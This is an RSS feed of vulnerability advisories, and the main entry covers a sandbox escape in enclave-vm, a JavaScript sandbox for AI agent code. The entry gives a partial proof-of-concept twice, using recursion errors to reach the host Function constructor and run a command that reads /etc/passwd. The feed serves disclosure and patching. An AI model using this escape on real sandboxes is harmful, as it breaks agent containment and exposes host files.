<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" version="2.0">
  <channel>
    <title>Most recent entries from all</title>
    <link>https://cve.radiocsirt.org</link>
    <description>Contains only the most 10 recent entries.</description>
    <docs>http://www.rssboard.org/rss-specification</docs>
    <generator>python-feedgen</generator>
    <language>en</language>
    <lastBuildDate>Wed, 07 Oct 2026 23:34:00 +0000</lastBuildDate>
    <item>
      <title>EUVD-2026-267669</title>
      <link>https://cve.radiocsirt.org/vuln/euvd-2026-267669</link>
      <description>EUVD-2026-267669</description>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/euvd-2026-267669</guid>
    </item>
    <item>
      <title>fkie_cve-2026-25533</title>
      <link>https://cve.radiocsirt.org/vuln/fkie_cve-2026-25533</link>
      <description>&lt;p&gt;Enclave is a secure JavaScript sandbox designed for safe AI agent code execution. Prior to 2.10.1, the existing layers of security in enclave-vm are insufficient: The AST sanitization can be bypassed with dynamic property accesses, the hardening of the error objects does not cover the peculiar behavior or the vm module and the function constructor access prevention can be side-stepped by leveraging host object references. This vulnerability is fixed in 2.10.1.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;Enclave is a secure JavaScript sandbox designed for safe AI agent code execution. Prior to 2.10.1, the existing layers of security in enclave-vm are insufficient: The AST sanitization can be bypassed with dynamic property accesses, the hardening of the error objects does not cover the peculiar behavior or the vm module and the function constructor access prevention can be side-stepped by leveraging host object references. This vulnerability is fixed in 2.10.1.&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/fkie_cve-2026-25533</guid>
    </item>
    <item>
      <title>GHSA-x39w-8vm5-5m3p — Sandbox escape via infinite recursion and error objects</title>
      <link>https://cve.radiocsirt.org/vuln/ghsa-x39w-8vm5-5m3p</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; npm: enclave-vm, npm: @enclave-vm/core&lt;/p&gt;
&lt;p&gt;**Note:** The npm package has moved to `@enclave-vm/core` (formerly `enclave-vm`).  
All fixed versions and guidance refer to `@enclave-vm/core`.&lt;/p&gt;
&lt;p&gt;### Summary
The existing layers of security in enclave-vm are insufficient: The AST sanitization can be bypassed with dynamic property accesses, the hardening of the error objects does not cover the peculiar behavior or the vm module and the function constructor access prevention can be side-stepped by leveraging host object references.&lt;/p&gt;
&lt;p&gt;### Details
There is a bug in Node.js (https://www.staicu.org/publications/usenixSec2023-SandDriller.pdf) that makes the vm module leak host references inside the vm module in case of infinite recursion. An attacker can exploit these to escape the sandbox.&lt;/p&gt;
&lt;p&gt;### PoC
The following on was tested on Node.js v24.12.0 and enclave-vm 2.7.0.&lt;/p&gt;
&lt;p&gt;```js
import { Enclave } from &amp;#39;enclave-vm&amp;#39;;&lt;/p&gt;
&lt;p&gt;// Create enclave with a tool handler
const enclave = new Enclave({
  timeout: 5000,
  maxToolCalls: 10,
  maxIterations: 1000,
  toolHandler: async (toolName, args) =&amp;gt; {
    // Your tool execution logic
    return { success: true, data: `Called ${toolName}` };
  },
});&lt;/p&gt;
&lt;p&gt;// Execute AgentScript code
const result = await enclave.run(`
let res = null, rootProt = null;
let a = () =&amp;gt;{
try {
  a();
} catch (e) {
  rootProt = e[[&amp;#34;__proto__&amp;#34;]][[&amp;#34;__proto__&amp;#34;]][[&amp;#34;__proto__&amp;#34;]];
  res=e.stack
}
}
a();
rootProt[[&amp;#34;foo&amp;#34;]] = rootProt[[&amp;#34;toString&amp;#34;]][[&amp;#34;constructor&amp;#34;]]  
rootProt[[&amp;#34;foo&amp;#34;]](&amp;#34;let options = {file: &amp;#39;cat&amp;#39;, args: [null,&amp;#39;/etc/passwd&amp;#39;],…&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; npm: enclave-vm, npm: @enclave-vm/core&lt;/p&gt;
&lt;p&gt;**Note:** The npm package has moved to `@enclave-vm/core` (formerly `enclave-vm`).  
All fixed versions and guidance refer to `@enclave-vm/core`.&lt;/p&gt;
&lt;p&gt;### Summary
The existing layers of security in enclave-vm are insufficient: The AST sanitization can be bypassed with dynamic property accesses, the hardening of the error objects does not cover the peculiar behavior or the vm module and the function constructor access prevention can be side-stepped by leveraging host object references.&lt;/p&gt;
&lt;p&gt;### Details
There is a bug in Node.js (https://www.staicu.org/publications/usenixSec2023-SandDriller.pdf) that makes the vm module leak host references inside the vm module in case of infinite recursion. An attacker can exploit these to escape the sandbox.&lt;/p&gt;
&lt;p&gt;### PoC
The following on was tested on Node.js v24.12.0 and enclave-vm 2.7.0.&lt;/p&gt;
&lt;p&gt;```js
import { Enclave } from &amp;#39;enclave-vm&amp;#39;;&lt;/p&gt;
&lt;p&gt;// Create enclave with a tool handler
const enclave = new Enclave({
  timeout: 5000,
  maxToolCalls: 10,
  maxIterations: 1000,
  toolHandler: async (toolName, args) =&amp;gt; {
    // Your tool execution logic
    return { success: true, data: `Called ${toolName}` };
  },
});&lt;/p&gt;
&lt;p&gt;// Execute AgentScript code
const result = await enclave.run(`
let res = null, rootProt = null;
let a = () =&amp;gt;{
try {
  a();
} catch (e) {
  rootProt = e[[&amp;#34;__proto__&amp;#34;]][[&amp;#34;__proto__&amp;#34;]][[&amp;#34;__proto__&amp;#34;]];
  res=e.stack
}
}
a();
rootProt[[&amp;#34;foo&amp;#34;]] = rootProt[[&amp;#34;toString&amp;#34;]][[&amp;#34;constructor&amp;#34;]]  
rootProt[[&amp;#34;foo&amp;#34;]](&amp;#34;let options = {file: &amp;#39;cat&amp;#39;, args: [null,&amp;#39;/etc/passwd&amp;#39;],…&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/ghsa-x39w-8vm5-5m3p</guid>
    </item>
  </channel>
</rss>
